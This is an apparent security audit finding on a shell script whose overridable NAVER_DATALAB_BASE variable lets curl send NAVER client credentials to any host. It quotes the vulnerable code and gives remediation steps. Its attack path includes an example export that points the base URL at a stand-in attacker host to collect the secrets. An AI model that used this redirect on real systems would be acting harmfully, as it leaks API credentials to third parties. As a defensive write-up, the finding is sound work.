T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/_common.sh:7
- Finding
- Overrideable API Base URL Can Redirect NAVER Credentials## Vulnerability Details **File Location**: `scripts/_common.sh`, lines 7 and 45–56 **Vulnerability Type**: Unvalidated credential destination **Risk Level**: High ```bash NAVER_DATALAB_BASE="${NAVER_DATALAB_BASE:-https://openapi.naver.com/v1/datalab}" datalab_post() { local path="$1"; shift local body="$1"; shift local out http out=$(mktemp) http=$(curl -sS -o "$out" -w '%{http_code}' \ -X POST "${NAVER_DATALAB_BASE}/${path}" \ -H "X-Naver-Client-Id: ${NAVER_CLIENT_ID}" \ -H "X-Naver-Client-Secret: ${NAVER_CLIENT_SECRET}" \ -H "Content-Type: application/json; charset=utf-8" \ --data "$body" || true) ``` ### Technical Analysis The HTTP destination is derived directly from the inherited `NAVER_DATALAB_BASE` environment variable without validating its scheme, hostname, port, or path. The `datalab_post` function then transmits the NAVER client ID, client secret, and request body to that destination. Consequently, a party capable of influencing the process environment can replace the documented NAVER endpoint with an attacker-controlled server. This does not prove intentional exfiltration by the project, but it creates a credential-routing vulnerability that conflicts with the documented expectation that authenticated requests are sent to `openapi.naver.com`. ### Attack Path 1. An attacker gains influence over the execution environment, such as a shell profile, CI configuration, wrapper process, or Agent launcher. 2. The attacker sets: ```bash export NAVER_DATALAB_BASE='https://attacker.example/collect' ``` 3. A user or Agent invokes any project subcommand while valid `NAVER_CLIENT_ID` and `NAVER_CLIENT_SECRET` values are present. 4. The subcommand calls `datalab_post`. 5. `curl` sends both NAVER authentication headers and the trend-analysis request body to the attacker-controlled endpoint. 6. The attacker records the credentials and may reuse them against the legitimate NAVER API. ### Impact Assessment Successful ex ...[truncated 590 chars]
- Remediation
- ## Remediation Suggestions 1. Hard-code the official API base URL if alternate endpoints are not a required feature: ```bash readonly NAVER_DATALAB_BASE='https://openapi.naver.com/v1/datalab' ``` 2. If configurability is required for testing, validate the parsed URL before attaching credentials. Require: - Scheme exactly `https` - Hostname exactly `openapi.naver.com` - No URL user information - No nonstandard port - Path exactly `/v1/datalab` - No fragments or unexpected query parameters 3. Restrict transport and redirect behavior: ```bash curl --proto '=https' --proto-redir '=https' --max-redirs 0 ... ``` 4. Keep test-server support separate from production authentication. Test mode should use mock credentials and should refuse to send real NAVER credentials to a non-NAVER host. 5. Document that security-sensitive endpoint overrides are unsupported, and clear or ignore inherited `NAVER_DATALAB_BASE` values during normal operation. 6. Add automated tests confirming that HTTP URLs, alternate hosts, malformed URLs, and unexpected ports are rejected before authentication headers are constructed.
